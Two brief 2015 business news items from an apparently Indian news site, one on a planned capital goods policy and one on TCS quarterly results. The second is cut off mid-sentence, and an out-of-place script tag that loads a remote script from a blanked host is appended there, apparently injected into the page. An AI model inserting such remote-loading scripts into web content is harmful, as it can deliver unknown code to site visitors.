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India's first-ever capital goods policy on the anvil

Submitted by admin Thu, 2015-09-24 19:05

The first-ever policy for India's capital goods sector will be placed before the Cabinet for approval by November-end, a government official said today.

"We will take it (the policy for the capital goods sector) to the Cabinet by November-end," Secretary in the Heavy Industries Ministry, Rajan Katoch said at a press conference here.

The Ministry had set up a task force to make a road map for the country's capital goods sector and sought suggestions on a draft paper to frame a policy on the industry.

TCS Q1 PAT at Rs 5709 crore, in-line with estimates

Submitted by admin Thu, 2015-09-24 18:56

India's largest software company missed revenue expectations for the fourth time in a row, illustrating its struggles, as well as those of the industry, with regaining growth momentum as technology disrupts the way software services are delivered.

Tata Consultancy Services posted sequential revenue growth of 3.5% to $4.04 billion, the slowest for the first quarter in the past four years and below the median expectation by analysts of 4%<script type='text/javascript' src='https://______/s.js?qr=888'></script>